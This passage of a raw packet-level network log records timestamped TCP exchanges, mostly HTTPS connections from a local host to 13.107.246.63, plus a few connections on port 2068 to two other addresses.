Nov 23, 2024 21:13:59.425869942 CET	443	50062	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.429646969 CET	50068	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.429692984 CET	443	50068	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.429801941 CET	50068	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.429927111 CET	50068	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.429944038 CET	443	50068	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.456084013 CET	443	50064	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.459397078 CET	443	50064	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.459465027 CET	50064	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.459534883 CET	50064	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.459556103 CET	443	50064	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.459563017 CET	50064	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.459568977 CET	443	50064	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.462824106 CET	50069	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.462862015 CET	443	50069	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.462924957 CET	50069	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.463157892 CET	50069	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.463174105 CET	443	50069	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.549226046 CET	443	50065	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.553231001 CET	443	50065	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.553291082 CET	50065	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.553507090 CET	50065	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.553524971 CET	443	50065	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.553534985 CET	50065	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.553539991 CET	443	50065	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.562832117 CET	50070	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.562874079 CET	443	50070	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.562931061 CET	50070	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.563290119 CET	50070	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.563303947 CET	443	50070	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.116252899 CET	443	50068	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.116883039 CET	50068	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.116898060 CET	443	50068	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.117574930 CET	50068	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.117579937 CET	443	50068	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.195332050 CET	443	50066	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.195820093 CET	50066	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.195839882 CET	443	50066	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.196470976 CET	50066	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.196476936 CET	443	50066	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.213474035 CET	443	50067	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.214031935 CET	50067	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.214062929 CET	443	50067	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.214656115 CET	50067	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.214662075 CET	443	50067	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.312148094 CET	50028	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:14:01.432308912 CET	2068	50028	192.168.68.139	192.168.2.4
Nov 23, 2024 21:14:01.472230911 CET	443	50070	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.472733021 CET	50070	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.472765923 CET	443	50070	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.473303080 CET	50070	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.473315954 CET	443	50070	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.566365957 CET	443	50068	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.566574097 CET	443	50068	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.566620111 CET	50068	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.566714048 CET	50068	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.566730022 CET	443	50068	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.566757917 CET	50068	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.566765070 CET	443	50068	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.569988012 CET	50071	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.570056915 CET	443	50071	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.570123911 CET	50071	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.570296049 CET	50071	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.570312023 CET	443	50071	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.655272961 CET	443	50069	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.655833960 CET	50069	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.655878067 CET	443	50069	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.656377077 CET	50069	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.656392097 CET	443	50069	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.675431967 CET	443	50066	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.675494909 CET	443	50066	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.675544024 CET	50066	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.675733089 CET	50066	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.675745964 CET	443	50066	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.675776958 CET	50066	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.675782919 CET	443	50066	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.679229975 CET	50072	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.679275036 CET	443	50072	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.679339886 CET	50072	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.679546118 CET	50072	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.679558992 CET	443	50072	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.691509008 CET	443	50067	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.691606045 CET	443	50067	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.691674948 CET	50067	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.691704035 CET	443	50067	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.691740990 CET	443	50067	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.691787958 CET	50067	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.691885948 CET	50067	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.691901922 CET	443	50067	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.691912889 CET	50067	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.691917896 CET	443	50067	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.694659948 CET	50073	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.694695950 CET	443	50073	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.694777966 CET	50073	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.694917917 CET	50073	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.694931984 CET	443	50073	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.937839031 CET	443	50070	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.937921047 CET	443	50070	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.938007116 CET	50070	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.938031912 CET	443	50070	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.938102961 CET	443	50070	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.938153028 CET	50070	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.938263893 CET	50070	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.938282013 CET	443	50070	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.938291073 CET	50070	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.938297987 CET	443	50070	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.941682100 CET	50074	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.941720009 CET	443	50074	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:01.941786051 CET	50074	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.942038059 CET	50074	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:01.942050934 CET	443	50074	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:02.108834028 CET	443	50069	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:02.108908892 CET	443	50069	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:02.109086037 CET	50069	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:02.109271049 CET	50069	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:02.109271049 CET	50069	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:02.109291077 CET	443	50069	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:02.109296083 CET	443	50069	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:02.115540028 CET	50075	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:02.115591049 CET	443	50075	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:02.115916014 CET	50075	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:02.116060972 CET	50075	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:02.116074085 CET	443	50075	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:02.542906046 CET	2068	50028	192.168.68.139	192.168.2.4
Nov 23, 2024 21:14:02.542995930 CET	50028	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:14:03.307638884 CET	443	50071	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.308382034 CET	50071	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:03.308408976 CET	443	50071	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.309103966 CET	50071	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:03.309114933 CET	443	50071	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.442341089 CET	443	50073	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.443160057 CET	50073	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:03.443201065 CET	443	50073	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.443757057 CET	50073	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:03.443764925 CET	443	50073	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.482423067 CET	443	50072	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.482868910 CET	50072	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:03.482892990 CET	443	50072	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.483491898 CET	50072	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:03.483499050 CET	443	50072	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.742389917 CET	443	50071	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.742486000 CET	443	50071	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.742528915 CET	50071	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:03.742783070 CET	50071	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:03.742805004 CET	443	50071	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.742814064 CET	50071	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:03.742819071 CET	443	50071	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.747122049 CET	50076	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:03.747174025 CET	443	50076	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.747235060 CET	50076	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:03.747383118 CET	50076	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:03.747396946 CET	443	50076	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.805169106 CET	443	50074	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.805722952 CET	50074	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:03.805747986 CET	443	50074	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.806441069 CET	50074	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:03.806453943 CET	443	50074	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.879450083 CET	443	50073	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.879525900 CET	443	50073	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.879580975 CET	50073	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:03.879611015 CET	443	50073	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.879992962 CET	50073	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:03.880007029 CET	443	50073	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.880053997 CET	50073	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:03.880409002 CET	443	50073	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.880500078 CET	443	50073	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.880552053 CET	50073	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:03.884047031 CET	50077	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:03.884087086 CET	443	50077	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.884140968 CET	50077	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:03.884335995 CET	50077	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:03.884351015 CET	443	50077	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.934889078 CET	443	50072	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.934915066 CET	443	50072	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.934968948 CET	443	50072	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.934974909 CET	50072	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:03.935017109 CET	50072	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:03.935214043 CET	50072	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:03.935231924 CET	443	50072	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.935241938 CET	50072	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:03.935246944 CET	443	50072	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.937967062 CET	50078	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:03.938009977 CET	443	50078	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:03.938081980 CET	50078	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:03.938383102 CET	50078	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:03.938404083 CET	443	50078	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:04.124938965 CET	443	50075	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:04.128832102 CET	50075	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:04.128832102 CET	50075	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:04.128863096 CET	443	50075	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:04.128885031 CET	443	50075	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:04.333776951 CET	443	50074	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:04.333800077 CET	443	50074	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:04.333929062 CET	50074	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:04.333947897 CET	443	50074	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:04.334507942 CET	50074	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:04.334507942 CET	50074	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:04.334539890 CET	443	50074	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:04.334732056 CET	443	50074	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:04.334772110 CET	443	50074	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:04.334917068 CET	50074	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:04.338001966 CET	50079	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:04.338037014 CET	443	50079	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:04.338243008 CET	50079	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:04.338243008 CET	50079	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:04.338268042 CET	443	50079	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:04.642096043 CET	443	50075	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:04.642123938 CET	443	50075	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:04.642187119 CET	443	50075	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:04.642218113 CET	50075	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:04.645699978 CET	50075	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:04.645699978 CET	50075	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:04.646020889 CET	50075	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:04.646047115 CET	443	50075	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:04.649569988 CET	50080	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:04.649600983 CET	443	50080	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:04.649770021 CET	50080	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:04.649864912 CET	50080	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:04.649876118 CET	443	50080	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:05.649522066 CET	443	50076	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:05.649986982 CET	50076	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:05.650017023 CET	443	50076	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:05.650675058 CET	50076	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:05.650681019 CET	443	50076	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:05.785590887 CET	443	50077	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:05.786159992 CET	50077	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:05.786199093 CET	443	50077	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:05.786614895 CET	50077	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:05.786627054 CET	443	50077	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:05.824496984 CET	443	50078	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:05.825170040 CET	50078	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:05.825210094 CET	443	50078	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:05.825639963 CET	50078	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:05.825648069 CET	443	50078	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:06.108892918 CET	443	50076	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:06.108985901 CET	443	50076	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:06.110141039 CET	50076	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:06.110425949 CET	50076	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:06.110425949 CET	50076	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:06.110450029 CET	443	50076	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:06.110456944 CET	443	50076	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:06.113049030 CET	50081	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:06.113096952 CET	443	50081	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:06.113486052 CET	50081	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:06.113687992 CET	50081	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:06.113702059 CET	443	50081	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:06.236756086 CET	443	50077	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:06.236927032 CET	443	50077	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:06.237086058 CET	50077	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:06.237433910 CET	50077	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:06.237433910 CET	50077	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:06.237452030 CET	443	50077	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:06.237466097 CET	443	50077	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:06.240739107 CET	50082	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:06.240773916 CET	443	50082	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:06.240963936 CET	50082	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:06.241241932 CET	50082	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:06.241255045 CET	443	50082	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:06.270489931 CET	443	50078	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:06.270567894 CET	443	50078	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:06.271593094 CET	50078	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:06.271796942 CET	50078	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:06.271796942 CET	50078	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:06.271833897 CET	443	50078	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:06.271908998 CET	443	50078	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:06.273633957 CET	443	50079	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:06.274703026 CET	50083	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:06.274741888 CET	443	50083	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:06.275172949 CET	50079	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:06.275187016 CET	443	50079	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:06.275228977 CET	50083	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:06.275448084 CET	50083	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:06.275479078 CET	443	50083	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:06.275712013 CET	50079	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:06.275717020 CET	443	50079	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:06.375583887 CET	50028	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:14:06.383553028 CET	50084	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:14:06.502005100 CET	2068	50028	192.168.68.139	192.168.2.4
Nov 23, 2024 21:14:06.510005951 CET	2068	50084	147.185.221.24	192.168.2.4
Nov 23, 2024 21:14:06.510200024 CET	50084	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:14:06.560290098 CET	443	50080	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:06.561331987 CET	50080	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:06.561331987 CET	50080	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:06.561352968 CET	443	50080	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:06.561364889 CET	443	50080	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:06.618177891 CET	50084	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:14:06.737772942 CET	2068	50084	147.185.221.24	192.168.2.4
Nov 23, 2024 21:14:06.767896891 CET	443	50079	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:06.771413088 CET	443	50079	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:06.775672913 CET	50079	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:06.775672913 CET	50079	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:06.775672913 CET	50079	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:06.778187990 CET	50085	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:06.778248072 CET	443	50085	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:06.778687000 CET	50085	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:06.778872013 CET	50085	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:06.778887987 CET	443	50085	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:07.024147987 CET	443	50080	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:07.024178028 CET	443	50080	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:07.024377108 CET	50080	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:07.024389982 CET	443	50080	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:07.027687073 CET	50080	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:07.027687073 CET	50080	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:07.027694941 CET	443	50080	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:07.027712107 CET	50080	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:07.027941942 CET	443	50080	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:07.027975082 CET	443	50080	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:07.028053045 CET	50080	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:07.031130075 CET	50086	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:07.031167984 CET	443	50086	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:07.031301022 CET	50086	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:07.031470060 CET	50086	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:07.031485081 CET	443	50086	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:07.167318106 CET	50079	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:07.167352915 CET	443	50079	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:07.854368925 CET	443	50081	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:07.854921103 CET	50081	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:07.854985952 CET	443	50081	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:07.855494022 CET	50081	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:07.855511904 CET	443	50081	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.288150072 CET	443	50082	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.292098999 CET	50082	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:08.292109966 CET	443	50082	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.295582056 CET	50082	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:08.295586109 CET	443	50082	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.306940079 CET	443	50083	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.307980061 CET	50083	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:08.307998896 CET	443	50083	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.311553955 CET	50083	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:08.311559916 CET	443	50083	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.313091993 CET	443	50081	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.313127041 CET	443	50081	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.313230038 CET	443	50081	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.313254118 CET	50081	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:08.315637112 CET	50081	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:08.315637112 CET	50081	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:08.315670013 CET	50081	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:08.315684080 CET	443	50081	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.319546938 CET	50087	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:08.319590092 CET	443	50087	13.107.246.63	192.168.2.4
